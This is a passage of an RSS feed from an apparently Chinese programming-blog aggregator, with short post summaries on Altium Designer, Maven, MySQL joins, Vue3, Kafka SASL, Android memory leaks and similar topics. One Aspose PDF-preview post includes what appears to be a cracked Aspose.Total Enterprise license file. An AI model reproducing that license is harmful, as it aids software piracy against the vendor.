管脚8和管脚4→VSS与VDD】&#xA;放置在原理图中，可以使该元器件的电路连接的可读性增强。原理图线路上的连接更加简洁。&#xA;3.多功能管脚的名称自定义 这个功能时AD22版本中，新增功能，具体操作如下。&#xA;在原理图符号创建页面中，管脚Name下多了一个功能添加栏。&#xA;当该管脚有多个功能时每次填入一个功能，点击“+”或“Enter”，就可以添加一个选项框。&#xA;多个功能，全都创建选项框。&#xA;将创建好的元件符号，放置到原理图中，点开管脚面板可以看到每个管脚的下拉选框出现了每个给管脚的功能选项，还可以在元器件上直接修改。&#xA;多功能管脚的名称自定义，这个新功能的出现使得原理图符号管脚存在多功能定义时，可以让使用者方便的使用某一种管脚功能，不用去修改里层的设置，也使得原理图布局在示意管脚功能更加明确。&#xA;4.利用Excel智能创建多管脚元器件符号 首先创建一个Excel表格，基础信息包括：&#xA;Object kindX1Y1OrientationNamePin Designator 将表格中的信息全部复制，然后打开原理图库编辑界面，打开SCHLIB List面板。&#xA;打开面板看到面板信息是“View”，需要切换模式，在面板中右键进入“Edit”模式。&#xA;在面板的空白区域右键，执行“智能栅格插入”命令，将Excel表格中复制的信息粘贴到SCHLIB List中。&#xA;在弹出的对话框中，分为两个部分，上面的信息是从Excel中复制的信息，下面的表格是将要制作原理图符号的信息，单击Automatically Determine Paste按钮，将上面的信息自动复制并粘贴到下面的表格中。</description>
    </item>
    <item>
      <title>Window下安装SDP测试工具 sdpoker</title>
      <link>https://bchobby.github.io/posts/2de37e76eb8a5ab62b97f8e567a7a13f/</link>
      <pubDate>Fri, 12 Aug 2022 14:26:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2de37e76eb8a5ab62b97f8e567a7a13f/</guid>
      <description> 1.下载安装node.js。路径如下(Node.js)&#xA;2.保证电脑有公钥，在C:\Users\xxx\.ssh下是否存在id_rsa.pub文件，没有的话ssh -keygen -t rsa -C &#39;guochengabc&#39; //guochengabc 你的git账号&#xA;一路回车就会生成一个公钥。将生成的公钥应用到你的github上。&#xA;1.复制生成的公钥&#xA;2.登入github&#xA;3.右击自己的图像，选择Setting&#xA;4.点击右侧SSH and GPG keys&#xA;5.点击new SSH key&#xA;3.在cmd下敲写npm install -g AMWA-TV/sdpoker&#xA;4.如果一直卡的话，可以设置成淘宝的。&#xA;1.npm config set registry https://registry.npm.taobao.org&#xA;2.npm config get registry&#xA;5.设置环境变量，找到NODEJS下载的位置，然后在用户环境变量中选中Path，添加global路径。&#xA;我的是D:\Software\Nodejs\global。在系统变量中选中Path，添加global下node_modules路径，&#xA;这个路径是为了方便下载下来的包，执行命令时能找到位置。我的路径是D:\Software\Nodejs\global\node_modules </description>
    </item>
    <item>
      <title>maven的Plugins报错</title>
      <link>https://bchobby.github.io/posts/d966d994e353d082d23548e5b06d8ae9/</link>
      <pubDate>Fri, 12 Aug 2022 11:20:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d966d994e353d082d23548e5b06d8ae9/</guid>
      <description>问题：Maven 的 Plugins 报错 一开始使用的 IDEA 自带的 maven，虽然便捷还是会有很多劣势。&#xA;在网上找了一下自行配置 maven 的好处：&#xA;如果是新手，建议自行配置 maven，有助于更好的学习和理解 maven。idea 自带的 maven 在它自己的路径和配置中，为避免升级（无论是 idea 还是 maven 升级）时发生莫名其妙的问题，自定义配置更能少遇到问题。不依赖 IDEA，你也可以在其他工具上开发，如果你恰好还要同时使用 eclipse，独立出来会更好管理，可在两个环境间共享配置和仓库。idea 自带的 maven 配置文件和仓库都在 C 盘，而且 C 盘一般不要放东西，自行配置 maven，不仅可以自由管理配置文件和仓库的位置，而且可以任意换 maven 的版本。 于是自行下载了 maven：&#xA;环境变量的配置setting.xml 的配置IDEA 中 maven 路径的配置 这里不做详细赘述，但是一定要确保上面的配置都没有问题。&#xA;但是 Maven 的 Plugins 始终报错，发现本地仓库中对于某些依赖并没有下载下来，试了很多办法都没有效果。&#xA;解决办法 mvn dependency:resolve-plugins&#xA;只需要执行上面的命令，便解决了这个问题。&#xA;该命令的作用是：解决依赖关系，根据POM文件，下载或者更新该项目所依赖的库文件。</description>
    </item>
    <item>
      <title>MySQL中inner join/left join连表查询的查询速度</title>
      <link>https://bchobby.github.io/posts/1f70204004d8415b962169f1cd470244/</link>
      <pubDate>Fri, 12 Aug 2022 10:24:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1f70204004d8415b962169f1cd470244/</guid>
      <description>通过对比inner join/left join多表链接查询，分析两个语句的查询速度：&#xA;a表：5000万条（id主键）&#xA;b表：1000万条&#xA;c表：2000万条&#xA;d表：2000条&#xA;表内id均建立索引&#xA;查询结果：一致&#xA;查询速度：inner join查询时间222秒；left join 查询时间454秒&#xA;通俗原因：inner join为查询交集，查询结果较少；left join 为并集查询，查询结果较多&#xA;学艺不精，请指正！！&#xA;left join 查询优势，可利用其来进行去重处理，减少使用not in（子查询）：&#xA;select *&#xA;from a left join b on a.id = b.id&#xA;where b.id is null&#xA;#代码1： #通过inner join 链接 select d.name,COUNT(a.re_id) from a INNER JOIN b on a.id = b.id INNER JOIN c on a.id = c.id INNER JOIN d on concat(left(a.re_id,4),&#39;00&#39;) = d.CODE WHERE (c.r_1 &amp;gt; 0 or c.</description>
    </item>
    <item>
      <title>Spring Boot项目学习10之发帖模块</title>
      <link>https://bchobby.github.io/posts/966f06d7d8132818f8da0f66b1a2005a/</link>
      <pubDate>Thu, 11 Aug 2022 20:42:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/966f06d7d8132818f8da0f66b1a2005a/</guid>
      <description>1.帖子的表设计 最显著的三个字段是帖子标题、帖子内容、帖子类别。但是除了这些字段外，还有一些必要的字段。&#xA;用户 id阅读数量评论数量收藏数量发布时间 同时，在发布帖子时，为了防止有人重复提交、重复发帖，提交表单时又加了一个验证码字段。&#xA;USE `my_bbs_db`; DROP TABLE IF EXISTS `tb_post_category`; CREATE TABLE `tb_post_category` ( `category_id` int NOT NULL AUTO_INCREMENT COMMENT &#39;分类表主键&#39;, `category_name` varchar(16) NOT NULL COMMENT &#39;分类的名称&#39;, `category_rank` int NOT NULL DEFAULT &#39;1&#39; COMMENT &#39;分类的排序值 被使用的越多数值越大&#39;, `is_deleted` tinyint NOT NULL DEFAULT &#39;0&#39; COMMENT &#39;是否删除 0=否 1=是&#39;, `create_time` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP COMMENT &#39;创建时间&#39;, PRIMARY KEY (`category_id`) ) ENGINE=InnoDB AUTO_INCREMENT=7 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC; insert into `tb_post_category`(`category_id`,`category_name`,`category_rank`,`is_deleted`,`create_time`) values (1,&#39;提问&#39;,10,0,&#39;2021-08-10 14:47:38&#39;),(2,&#39;分享&#39;,9,0,&#39;2021-08-10 14:47:38&#39;),(3,&#39;建议&#39;,8,0,&#39;2021-08-10 14:47:38&#39;),(4,&#39;讨论&#39;,7,0,&#39;2021-08-10 14:47:38&#39;),(5,&#39;动态&#39;,6,0,&#39;2021-08-10 14:47:38&#39;),(6,&#39;其它&#39;,5,0,&#39;2021-08-10 14:47:38&#39;); DROP TABLE IF EXISTS `tb_bbs_post`; CREATE TABLE `tb_bbs_post` ( `post_id` bigint NOT NULL AUTO_INCREMENT COMMENT &#39;帖子主键id&#39;, `publish_user_id` bigint NOT NULL COMMENT &#39;发布者id&#39;, `post_title` varchar(64) NOT NULL DEFAULT &#39;&#39; COMMENT &#39;帖子标题&#39;, `post_content` mediumtext NOT NULL COMMENT &#39;帖子内容&#39;, `post_category_id` int NOT NULL COMMENT &#39;帖子分类id&#39;, `post_category_name` varchar(50) NOT NULL COMMENT &#39;帖子分类(冗余字段)&#39;, `post_status` tinyint NOT NULL DEFAULT &#39;1&#39; COMMENT &#39;0-未审核 1-审核通过 2-审核失败&#39;, `post_views` bigint NOT NULL DEFAULT &#39;0&#39; COMMENT &#39;阅读量&#39;, `post_comments` bigint NOT NULL DEFAULT &#39;0&#39; COMMENT &#39;评论量&#39;, `post_collects` bigint NOT NULL DEFAULT &#39;0&#39; COMMENT &#39;收藏量&#39;, `last_update_time` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP COMMENT &#39;最新修改时间&#39;, `create_time` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP COMMENT &#39;添加时间&#39;, PRIMARY KEY (`post_id`) USING BTREE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC; 2.</description>
    </item>
    <item>
      <title>Vue3与Vue2的区别（组合式API）</title>
      <link>https://bchobby.github.io/posts/2f61c19ab6ac60958232766fc653a241/</link>
      <pubDate>Thu, 11 Aug 2022 18:24:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2f61c19ab6ac60958232766fc653a241/</guid>
      <description>目录&#xA;1、响应式数据&#xA;2、vue2和vue3的响应式原理&#xA;3、计算属性Computed&#xA;4、监听函数Watch&#xA;vue3中watch函数对ref的响应式数据的监听&#xA;vue3中watch函数对reactive的响应式数据的监听&#xA;总结&#xA;5、vue3的生命周期&#xA;6、hooks函数&#xA;7、toRef和toRefs&#xA;8、readonly与shallowReadonly&#xA;9、toRaw与MarkRaw&#xA;10、组合式API的优势&#xA;1、响应式数据 在vue2中，vue向我们承诺data中的数据，即使是嵌套很多层的对象，他也是响应式的数据。&#xA;在vue3中，数据和方法都是在setup中定义返回的，这种直接赋值的写法无法做到数据的响应式&#xA;export default { name: &#39;App&#39;, setup() { let a=&#39;aaaa&#39; function show(){ console.log(a); } return {a,show} } } 此时我们需要引用vue中的ref和reactive函数。&#xA;通常基本数据类型用ref实现数据的响应式，经过ref函数包裹的数据，会返回一个RedImpl，是一个对象，它里面用了我们熟悉的vue2的数据代理的方法，在原型上有get set函数，实现了数据的响应式。但是当我们需要获取值的时候需要用过 .value才能获取到他的值&#xA;对象这种引用数据类型往往用reactive函数实现数据的响应式，返回的是一个ES6中Proxy的对象，对象里就是我们定义的值，且不需要通过value的方式取值&#xA;（在模板中是不需要.value来取值渲染页面的）&#xA;&amp;lt;script&amp;gt; import {ref,reactive} from &#39;vue&#39; export default { name: &#39;App&#39;, setup() { let a=ref(&#39;aaaa&#39;) let b=reactive({ city:&#39;南京&#39;, word:&#39;前端&#39; }) function show(){ console.log(a,b); } return {a,b,show} } } &amp;lt;/script&amp;gt; 2、vue2和vue3的响应式原理 在vue2中，通过Object.</description>
    </item>
    <item>
      <title>spark写带sasl认证的kafka</title>
      <link>https://bchobby.github.io/posts/a839d139981e5792f49d7b69a4228c46/</link>
      <pubDate>Thu, 11 Aug 2022 17:06:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a839d139981e5792f49d7b69a4228c46/</guid>
      <description>背景描述 spark任务写kafka集群是常规操作，一直很稳健。最近运维提供了带ACL功能的kafka集群，启用sasl认证，spark任务写kafka集群时异常。&#xA;异常日志 22/08/11 16:02:15 INFO TransactionManager: [Producer clientId=producer-2] Transiting to fatal error state due to org.apache.kafka.common.errors.ClusterAuthorizationException: Cluster authorization failed.&#xA;22/08/11 16:02:15 INFO TransactionManager: [Producer clientId=producer-1] Transiting to fatal error state due to org.apache.kafka.common.errors.ClusterAuthorizationException: Cluster authorization failed.&#xA;22/08/11 16:02:16 ERROR Executor: Exception in task 0.0 in stage 0.0 (TID 0)&#xA;org.apache.kafka.common.KafkaException: Cannot execute transactional method because we are in an error state&#xA;at org.apache.kafka.clients.producer.internals.TransactionManager.maybeFailWithError(TransactionManager.java:1125)&#xA;at org.apache.kafka.clients.producer.internals.TransactionManager.maybeAddPartition(TransactionManager.java:442)&#xA;at org.apache.kafka.clients.producer.KafkaProducer.doSend(KafkaProducer.java:998)&#xA;at org.</description>
    </item>
    <item>
      <title>【数据结构C&#43;&#43;】删除顺序表的最小值</title>
      <link>https://bchobby.github.io/posts/58ebee1018b638792d3ee69bad3dca85/</link>
      <pubDate>Thu, 11 Aug 2022 16:51:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/58ebee1018b638792d3ee69bad3dca85/</guid>
      <description>代码如下&#xA;#include&amp;lt;iostream&amp;gt; using namespace std; #define Max 50 //定义全局变量不需要等号和分号 struct Sqlist { int a[Max] = { 2,3,6,9,7,6,1,8,10 }; int length = 9; }; bool ListDel(Sqlist&amp;amp; s, int&amp;amp; a) { if (s.length == 0)return false; int min = s.a[0]; int index = 0; for (int i = 0; i &amp;lt; s.length; i++) { if (s.a[i] &amp;lt;= min) { min = s.a[i]; index = i; } } a = min; //由于这里没说删除后后面的元素依次替补， //因此为了减少时间复杂度可以将最后一个元素替补过去 s.</description>
    </item>
    <item>
      <title>【aspose】 word/excel转pdf，实现在线预览文件功能</title>
      <link>https://bchobby.github.io/posts/a550916b49e29ae8db5e49cce2ccfb75/</link>
      <pubDate>Thu, 11 Aug 2022 15:48:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a550916b49e29ae8db5e49cce2ccfb75/</guid>
      <description>项目场景： 需求描述：上传附件后，可实现在线预览，这里就会存在一个问题，很多附件的类型是没法在线预览的，点击就会下载。除pdf/jpg/jpeg等，于是技术方案定，将word/excel等类型的文件转成pdf，并且使用nginx代理附件路径，实现预览效果。&#xA;技术实现 提示：要考虑到，一个附件肯定会被多人点击预览，从表结构设计的角度，要多加一个preview_path（预览文件地址）字段，第一次生成pdf后，将链接持久化到数据库，之后只有该值不为空，查询直接返回即可。&#xA;aspose从maven仓库拉取不下来，需手动下载本地添加到项目中。&#xA;aspose-cells-8.5.2.jar&#xA;aspose-words-15.8.0-jdk16.jar&#xA;链接:https://pan.baidu.com/s/1YBAfBJF2mzPDaJqxjQ6jkg 密码:srco pom.xml添加&#xA;注意：maven打包的时候，要加上这句，不然打包有问题&#xA;ok，堆代码吧&#xA;&amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&amp;gt; &amp;lt;License&amp;gt; &amp;lt;Data&amp;gt; &amp;lt;Products&amp;gt; &amp;lt;Product&amp;gt;Aspose.Total for Java&amp;lt;/Product&amp;gt; &amp;lt;Product&amp;gt;Aspose.Words for Java&amp;lt;/Product&amp;gt; &amp;lt;/Products&amp;gt; &amp;lt;EditionType&amp;gt;Enterprise&amp;lt;/EditionType&amp;gt; &amp;lt;SubscriptionExpiry&amp;gt;20991231&amp;lt;/SubscriptionExpiry&amp;gt; &amp;lt;LicenseExpiry&amp;gt;20991231&amp;lt;/LicenseExpiry&amp;gt; &amp;lt;SerialNumber&amp;gt;8bfe198c-7f0c-4ef8-8ff0-acc3237bf0d7&amp;lt;/SerialNumber&amp;gt; &amp;lt;/Data&amp;gt; &amp;lt;Signature&amp;gt;sNLLKGMUdF0r8O1kKilWAGdgfs2BvJb/2Xp8p5iuDVfZXmhppo+d0Ran1P9TKdjV4ABwAgKXxJ3jcQTqE/2IRfqwnPf8itN8aFZlV3TJPYeD3yWE7IT55Gz6EijUpC7aKeoohTb4w2fpox58wWoF3SNp6sK6jDfiAUGEHYJ9pjU=&amp;lt;/Signature&amp;gt; &amp;lt;/License&amp;gt; 枚举类，支持的附件类型，按自己需求增减&#xA;package com.szls.enums; import lombok.AllArgsConstructor; import lombok.Getter; /** * com.szls.enums * * @author smallNorth_Lee * @date 2022/8/11 */ @Getter @AllArgsConstructor public enum FileTypeEnum { PDF(&#34;.pdf&#34;), XLSX(&#34;.xlsx&#34;), DOCX(&#34;.docx&#34;), DOC(&#34;.doc&#34;); /** * 文件类型 */ private final String fileType; } package com.</description>
    </item>
    <item>
      <title>Android 内存优化(四) —— 未取消注册或回调导致内存泄露</title>
      <link>https://bchobby.github.io/posts/ee3f29c9c117f4f5a84a28034685c0c8/</link>
      <pubDate>Thu, 11 Aug 2022 13:24:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ee3f29c9c117f4f5a84a28034685c0c8/</guid>
      <description>未取消注册或回调导致内存泄露&#xA;比如我们在 Activity 中注册广播，如果在 Activity 销毁后不取消注册，那么这个刚播会一直存在&#xA;系统中，同上面所说的非静态内部类一样持有 Activity 引用，导致内存泄露。因此注册广播后在&#xA;Activity 销毁后一定要取消注册。&#xA;public class MainActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); this.registerReceiver(mReceiver, new IntentFilter()); } private BroadcastReceiver mReceiver = new BroadcastReceiver() { @Override public void onReceive(Context context, Intent intent) { // 接收到广播需要做的逻辑 } }; @Override protected void onDestroy() { super.onDestroy(); this.unregisterReceiver(mReceiver); } } 在注册观察则模式的时候，如果不及时取消也会造成内存泄露。比如使用 Retrofit+RxJava 注册网&#xA;络请求的观察者回调，同样作为匿名内部类持有外部引用，所以需要记得在不用或者销毁的时候&#xA;取消注册。</description>
    </item>
    <item>
      <title>将C&#43;&#43;类纳入存储池管理</title>
      <link>https://bchobby.github.io/posts/624c2f58e5c02062ceee7b63b9d307c0/</link>
      <pubDate>Thu, 11 Aug 2022 12:28:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/624c2f58e5c02062ceee7b63b9d307c0/</guid>
      <description>近日在做一个项目，遇到一个比较棘手的问题。程序在执行一次任务的时候会new大量的处理类和各种Buffer，在任务执行完成后，这些类和Buffer会被释放掉，但会产生一些内存碎片，当时项目时间比较紧凑，所以没有考虑内存管理这方面的事情。程序在多次执行任务后，在new一些较大块内存的时候会出现分配内存失败的异常，导致任务失败，但整体程序占用内存其实并不高。个人猜测可能是内存碎片过多导致。&#xA;在处理问题的过程中，我想到，如果对内存进行统一管理，那就尽可能的减少了内存碎片的产生，降低了内存泄露的风险，如果以后有时间，还可以使用GC等内存管理技术来优化。&#xA;我们来做一些实验。&#xA;首先，我们分配一块Buffer，接下来所有要分配的内存都从那里取得。如果是基本数据类型，比如char*，int*等，还好处理，直接存储即可，但是类就比较麻烦了，这就涉及到malloc和new的一个不同点：malloc只负责分配内存，new除了分配内存，还对类进行了初始化。&#xA;看如下代码&#xA;class A { public: A() { memcpy(m_s, &#34;abcd\0&#34;, 5); } ~A() {}; int GetA() { return m_a; } int SetA(int a) { m_a = a; } private: int m_a = 5; char m_s[5]; }; int main() { A* b = (A*)malloc(sizeof(A)); A* a = new A; free(b); delete a return 0; } 使用VS2019调试查看b 和 a的值&#xA;b中的值是无效的。如果我们直接将Buffer强转成类，效果跟使用malloc是一样的，无法对类成员进行初始化。&#xA;那么怎么对malloc出来的类成员进行初始化呢？&#xA;网上找到有几种做法：&#xA;第一种：根据类的内存布局直接赋值&#xA;int main() { A* b = (A*)malloc(sizeof(A)); A* a = new A; int n = 3; memcpy(((int*)b), &amp;amp;n, sizeof(int)); memcpy(((char*)b + sizeof(int)), &#34;</description>
    </item>
    <item>
      <title>HTML&#43;CSS——网页设计项目完整版本（阿里矢量图标库）分享</title>
      <link>https://bchobby.github.io/posts/9dd821405b3373bcc18b1e4e25b83e28/</link>
      <pubDate>Thu, 11 Aug 2022 11:40:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9dd821405b3373bcc18b1e4e25b83e28/</guid>
      <description>文章目录 前言一、页面展示二、首页实现步骤 1.HTML结构2.CSS样式总结 前言 HTML+ CSS部分相关知识点的学习已经告一段落，在这里将自己完成PC端的项目分享给大家，以供参考，也算是记录一下过去一段时间的学习过程吧~&#xA;一、页面展示 本项目参照的是PC端的阿里矢量图标库网页，这里我主要实现了三个页面包括主页面以及资源管理页面，用户登录页面。&#xA;主页面： 二、首页实现步骤 文件结构图： 1.HTML结构 主页面: &amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html lang=&#34;en&#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt; &amp;lt;meta http-equiv=&#34;X-UA-Compatible&#34; content=&#34;IE=edge&#34;&amp;gt; &amp;lt;meta name=&#34;viewport&#34; content=&#34;width=device-width, initial-scale=1.0&#34;&amp;gt; &amp;lt;title&amp;gt;iconfont-阿里巴巴矢量图标库&amp;lt;/title&amp;gt; &amp;lt;link rel=&#34;icon&#34; href=&#34;../img/首页图库/little-logo.png&#34; type=&#34;image&#34;&amp;gt; &amp;lt;link rel=&#34;shortcut icon&#34; href=&#34;../img/首页图库/little-logo.png&#34; type=&#34;image&#34;&amp;gt; &amp;lt;link rel=&#34;stylesheet&#34; href=&#34;../css/reset.css&#34;&amp;gt; &amp;lt;link rel=&#34;stylesheet&#34; href=&#34;../css/footer.css&#34;&amp;gt; &amp;lt;link rel=&#34;stylesheet&#34; href=&#34;../css/index.css&#34;&amp;gt; &amp;lt;link rel=&#34;stylesheet&#34; href=&#34;../css/common.css&#34;&amp;gt; &amp;lt;link rel=&#34;stylesheet&#34; href=&#34;../css/font_3542053_0eoy0eld3lj5/iconfont.css&#34;&amp;gt; &amp;lt;link rel=&#34;stylesheet&#34; href=&#34;../js/swiper-master/package/swiper-bundle.css&#34;&amp;gt; &amp;lt;script src=&#34;../js/swiper-master/package/swiper-bundle.min.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script&amp;gt; var context; var arr = new Array(); var starCount = 800; var rains = new Array(); var rainCount = 20; function init() { var stars = document.</description>
    </item>
    <item>
      <title>异步编程概述</title>
      <link>https://bchobby.github.io/posts/1400df18fcd0c5cfd0f0b6fadef0dc2c/</link>
      <pubDate>Thu, 11 Aug 2022 10:01:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1400df18fcd0c5cfd0f0b6fadef0dc2c/</guid>
      <description>异步编程是一个统一的概念。&#xA;常见的多线程是异步编程的一种实现方式，还有其他的异步方式，如：协程、多进程、甚至是多主机都可以称为异步编程（个人理解）。&#xA;并发：一段时间内做多件事&#xA;并行：同一时刻有做多个事&#xA;异步是目的&#xA;多线程是实现异步的一种方式。&#xA;一个程序就一个主线程也可以实现异步：例如，一个耗时任务，分隔成很多份，在主线程分帧执行（协程）。&#xA;更多的百度谷歌一下就有了。</description>
    </item>
    <item>
      <title>mybatis plus or and 合并写法</title>
      <link>https://bchobby.github.io/posts/ef76ab14f2eb0864738b3f71ed936171/</link>
      <pubDate>Wed, 10 Aug 2022 22:11:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ef76ab14f2eb0864738b3f71ed936171/</guid>
      <description>int count =hrDeliverEmployContractService.selectCount(new EntityWrapper&amp;lt;HrDeliverEmployContractEntity&amp;gt;() .eq(&#34;pool_id&#34;,hrDeliverEmployContract.getPoolId()).andNew().lt(&#34;contract_start_date&#34;,hrDeliverEmployContract.getContractStartDate()).or().gt(&#34;contract_end_date&#34;,hrDeliverEmployContract.getContractEndDate()) ); 对应的SQL&#xA;SELECT COUNT(1) FROM hr_deliver_employ_contract WHERE (pool_id = 1) AND (contract_start_date &amp;lt; &#39;2018-07-01 00:00:00.0&#39; OR contract_end_date &amp;gt; &#39;2018-10-31 00:00:00.0&#39;); mybatis plus or使用&#xA;1&#xA;2&#xA;3&#xA;QueryWrapper queryWrapper = new QueryWrapper();&#xA;queryWrapper .and(wrapper -&amp;gt; wrapper.isNull(“sim”).or().eq(“sim”, “”));&#xA;queryWrapper .eq(“is_delete”, “0”);&#xA;对应SQL&#xA;select * from vehicle where name=‘测试&#39; or sim=‘2&#39;</description>
    </item>
    <item>
      <title>颜色码对照表</title>
      <link>https://bchobby.github.io/posts/5761294ab281e2396280fc220034b3ce/</link>
      <pubDate>Wed, 10 Aug 2022 21:46:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5761294ab281e2396280fc220034b3ce/</guid>
      <description> </description>
    </item>
    <item>
      <title>基于深度学习的三维点云分割综述</title>
      <link>https://bchobby.github.io/posts/4ade0a10f2c6901d351964a3d08ba234/</link>
      <pubDate>Wed, 10 Aug 2022 17:09:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4ade0a10f2c6901d351964a3d08ba234/</guid>
      <description>论文连接在这里&#xA;传统的点云分割方法包括： 基于边缘检测的方法基于区域增长的算法基于特征聚类的算法基于模型拟合的算法基于图形的算法 深度学习方法相对于传统方法的优势： 传统方法过分依赖于人工设计的特征，成本高，计算量大，并且普适性差，在面向大数据集时表现不佳。&#xA;三维点云数据集： 点云模型的评价指标： 评价指标用于 分割算法 之间的性能比较，包括：平均交并比（mIoU）、总体分割精度（Overall Accuracy，OA）、平均精确率（mean Accuracy Precision，mAP）、参数量（Parameters）和每秒的浮点运算数（FLOPs）等。&#xA;TP（True Positive） 预测为正样本且是预测结果是正确。FP（False Positive） 预测为正样本但是预测结果错误。FN（False Negative） 预测结果为负样本但是预测结果错误。 3D点云语义分割方法发展脉络 基于体素化的方法 基于体素化的方法是一种结构化的表示方法，其将无序的点云分割成一系列占用一定空间的体素，然后送入3D CNN逐步进行体素级别的特征学习，最后为每一格体素内的所有点匹配与该体素相同的语义标签。该方法有效地促进无序点云规则化，但是存在较高的计算和内存成本。&#xA;基于多视图的方法 多视图方法将一个3D对象按照多个角度投影成多个2D视图并提取各视图特征，然后融合这些特征以预测结果。&#xA;这种方法一个比较经典的网络就是MVCNN。它模拟相机从若干不同角度获取3D物体的2D图像，再利用预训练CNN模型提取特征，最后通过全局最大池化将不同视角的特征聚合达到形状识别的目的。&#xA;但是该方法所提取的特征冗余性很高，且没有很好的考虑多视角下的特征之间的关系。&#xA;基于点云的方法 1.基于多层感知机MLP的方法&#xA;PointNet直接将3D点云作为输入，引入T-Net结构实现点云的旋转不变，利用共享的多层感知机(MLP)提取输入的每个点的特征，通过最大池化将所有点的信息聚合得到全局特征。该方法有效改善了原始点云旋转不变性差的问题，广泛应用于分类、部件分割和语义分割等任务。&#xA;但存在过分关注全局特征而忽略局部特征的问题，没有考虑点与点之间的结构信息，也没有充分考虑到点云密度不均匀所造成的不利影响等问题，难以适应复杂场景。&#xA;针对以上问题， 在PointNet基础上进一步提出了PointNet++。如图2所示，该方法通过层级下采样来捕捉局部几何细节信息。此外，该方法还提出了多尺度分组和多分辨率分组的策略，以克服由于点云数据密度不均匀引起的稀疏点信息可能被忽视问题。虽然有效解决了PointNet在采样和特征提取方法上存在的问题，但仍然没有充分考虑如何有效利用点与点之间的结构信息，且所采用的K近邻搜索方法可能使得采样点集中在一个方向上，容易出现标签错分。&#xA;2.点卷积的方法&#xA;代表作：PointCNN，PointConv。&#xA;3.基于RNN的方法&#xA;将循环神经网络应用于3D点云语义分割模型。&#xA;4.基于图卷积的方法&#xA;基于图卷积的点云语义分割将点云中的每个点视为图的顶点，与邻域点生成图有向边,在空间域或频谱域中学习点、边特征，以捕获3D点云的局部几何结构特征。&#xA;代表作：DGCNN&#xA;DGCNN提出了一个用于学习边缘特征的边缘卷积(EdgeConv)，通过构建局部邻域图和对每条邻边进行EdgeConv操作，动态更新层级之间的图结构。EdgeConv可以捕捉到每个点与其邻域点的距离信息。&#xA;但是同样DGCNN忽视了相邻点之间向量的方向信息，忽略了一些结构信息。</description>
    </item>
    <item>
      <title>多线程07--yield和join</title>
      <link>https://bchobby.github.io/posts/e2fdb81a311e35bb9c0e6bcedcd1cd14/</link>
      <pubDate>Wed, 10 Aug 2022 16:35:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e2fdb81a311e35bb9c0e6bcedcd1cd14/</guid>
      <description>前言：&#xA;yield和join皆为Thread提供的基本方法，供开发者在不同场景下应用。&#xA;1. yield 创建线程类实现Runnable接口，代码如下： package yield; public class MYieldThread implements Runnable { @Override public void run() { System.out.println(Thread.currentThread().getName() + &#34;开始执行...&#34;); Thread.yield(); System.out.println(Thread.currentThread().getName() + &#34;执行完毕....&#34;); } } 主测试类： package yield; public class TestYield { public static void main(String[] args) { MYieldThread yieldThread = new MYieldThread(); new Thread(yieldThread, &#34;111&#34;).start(); new Thread(yieldThread, &#34;222&#34;).start(); } } 执行结果（说明：礼让不一定会成功，因为具体要看CPU调度，可能A线程开启礼让并释放CPU使用权，但是CPU再次调度从队列中获取A线程继续执行）： 礼让成功结果：&#xA;礼让失败结果：&#xA;总结：&#xA;Thread.yield()方法作用是暂停当前正在执行的线程对象（及放弃当前拥有的cup资源），并执行其他线程。yield()做的是让当前运行线程回到可运行状态，以允许具有相同优先级的其他线程获得运行机会。因此，使用yield()的目的是让相同优先级的线程之间能适当的轮转执行。但是，实际中无法保证yield()达到让步目的，因为让步的线程还有可能被线程调度程序再次选中。yield方法并不会让线程进入阻塞状态，而是让线程重回就绪状态，它只需要等待重新获取CPU执行时间。&#xA;2. join 2.1使用join()方法控制线程执行顺序 调用Thread的start()方法启动线程时，线程的执行顺序是不确定的。也就是说，在同一个方法中，连续创建多个线程后，调用线程的start()方法的顺序并不能决定线程的执行顺序。例如如下程序：&#xA;public class ThreadStartOrderTest { public static void main(String[] args) { Thread thread1 = new Thread(()-&amp;gt;{ System.</description>
    </item>
    <item>
      <title>Docker 容器内存：我的容器为什么被杀了？</title>
      <link>https://bchobby.github.io/posts/97d23bbeafcb09623b1ed9351b46518e/</link>
      <pubDate>Wed, 10 Aug 2022 16:33:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/97d23bbeafcb09623b1ed9351b46518e/</guid>
